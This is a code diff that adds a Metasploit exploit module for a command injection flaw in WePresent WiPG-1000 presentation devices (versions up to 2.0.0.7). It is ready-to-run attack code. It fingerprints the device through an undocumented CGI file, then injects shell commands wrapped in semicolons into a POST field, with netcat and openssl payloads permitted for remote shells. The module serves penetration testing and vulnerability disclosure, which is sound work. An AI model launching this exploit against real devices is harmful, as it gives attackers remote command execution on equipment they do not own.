Add WiPG-1000 Command Injection module

modules/exploits/linux/http/wipg1000_cmd_injection.rb

@@ -0,0 +1,78 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'WePresent WiPG-1000 Command Injection',
+      'Description'    => %q{
+        This module exploits a command injection vulnerability in an undcoumented
+        CGI file in several versions of the WePresent WiPG-1000 devices.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Matthias Brun', # Vulnerability Discovery, Metasploit Module
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'https://www.redguard.ch/advisories/wepresent-wipg1000.txt' ]
+        ],
+      'Payload'        =>
+        {
+          'Compat'     =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' => 'generic netcat openssl'
+            }
+        },
+      'Platform'       => ['unix'],
+      'Arch'           => ARCH_CMD,
+      'Targets'        =>
+        [
+          ['WiPG-1000 <=2.0.0.7', {}]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Apr 20 2017',
+      'DefaultTarget'  => 0))
+  end
+
+
+  def check
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri('/cgi-bin/rdfs.cgi')
+    })
+    if res and res.body =~ /Follow administrator instructions to enter the complete path/ then
+      return Exploit::CheckCode::Appears
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    print_status('Sending request')
+    execute_cmd(payload.encoded)
+  end
+
+  def execute_cmd(cmd)
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri'    => normalize_uri('/cgi-bin/rdfs.cgi'),
+      'vars_post' => {
+        'Client' => ";#{cmd};",
+        'Download' => 'Download'
+      }
+    )
+
+    return res
+  end
+end